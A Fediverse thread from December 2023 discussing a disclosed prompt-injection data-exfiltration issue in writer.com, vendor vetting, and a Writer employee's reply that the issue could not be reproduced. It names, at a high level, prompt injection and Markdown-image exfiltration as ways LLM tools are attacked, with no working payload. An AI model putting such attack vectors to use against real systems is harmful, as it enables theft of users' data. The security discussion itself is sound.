Post AcqVuTmwhkgMmuZGee by bocytko@hachyderm.io
 (DIR) More posts by bocytko@hachyderm.io
 (DIR) Post #AcqQmwfSws1oGgeoFs by simon@fedi.simonwillison.net
       2023-12-15T20:25:47Z
       
       0 likes, 0 repeats
       
       Nasty example here of a prompt injection data exfiltration attack against writer.com - made much worse by Writer's response to the responsible disclosure of the vulnerability that "We do not consider this to be a security issue since the real customer accounts do not have access to any website."https://promptarmor.substack.com/p/data-exfiltration-from-writercomI wrote more notes on this here:  https://simonwillison.net/2023/Dec/15/writercom-indirect-prompt-injection/
       
 (DIR) Post #AcqVuTmwhkgMmuZGee by bocytko@hachyderm.io
       2023-12-15T21:22:58Z
       
       0 likes, 0 repeats
       
       @simon ... how does one screen vendors to filter out companies that don't have the right #security mindset? #infosec
       
 (DIR) Post #AcqWBW2Nb2U6gZuVJw by simon@fedi.simonwillison.net
       2023-12-15T21:26:33Z
       
       0 likes, 0 repeats
       
       @bocytko With LLM stuff it's particularly difficult because some of the attack vectors are so poorly understood, and in the case of prompt injection don't actually have reliable fixesI'd start by asking my vector to explain prompt injection and then explain what design measures they have taken to counter it's potential impact - my hunch is that Writer.com would NOT have answered that question at all well
       
 (DIR) Post #AcqXOtR60ns0ySPj7Y by bocytko@hachyderm.io
       2023-12-15T21:40:02Z
       
       0 likes, 0 repeats
       
       @simon vetting their know-how and practices makes sense. Being able to do so well requires a deeper level of understanding so not everyone is able to do so. Those who are can also build on their own. Fun times.
       
 (DIR) Post #AcqZv0GoL1jfLR2gN6 by Caroline@hessen.social
       2023-12-15T22:08:09Z
       
       0 likes, 0 repeats
       
       @simon @bocytko Nobody will have answers  to prompt injection attacks, I bet. As is stated in that article: It's a "won't fix" #llm #infosec
       
 (DIR) Post #AcqadInMp7P1XbOSMC by simon@fedi.simonwillison.net
       2023-12-15T22:16:16Z
       
       0 likes, 0 repeats
       
       @Caroline @bocytko They should still fix the Markdown image exfiltration vector - that would go a long way to making this harder to effectively exploit
       
 (DIR) Post #Acs2WHBhOTBEP2Al2O by ratwerks@hachyderm.io
       2023-12-16T15:03:15Z
       
       0 likes, 0 repeats
       
       @simon Hey Simon, funny way to meet. i'm head of platform at Writer and this thing just blew up my Friday and weekend. We've been evaluating this since it was reported to us on Nov 29. Based on what we’ve found, we don’t believe this can be carried out on our platform because, as you suggest, we already sanitize. Nor have we been able to reproduce any data disclosure.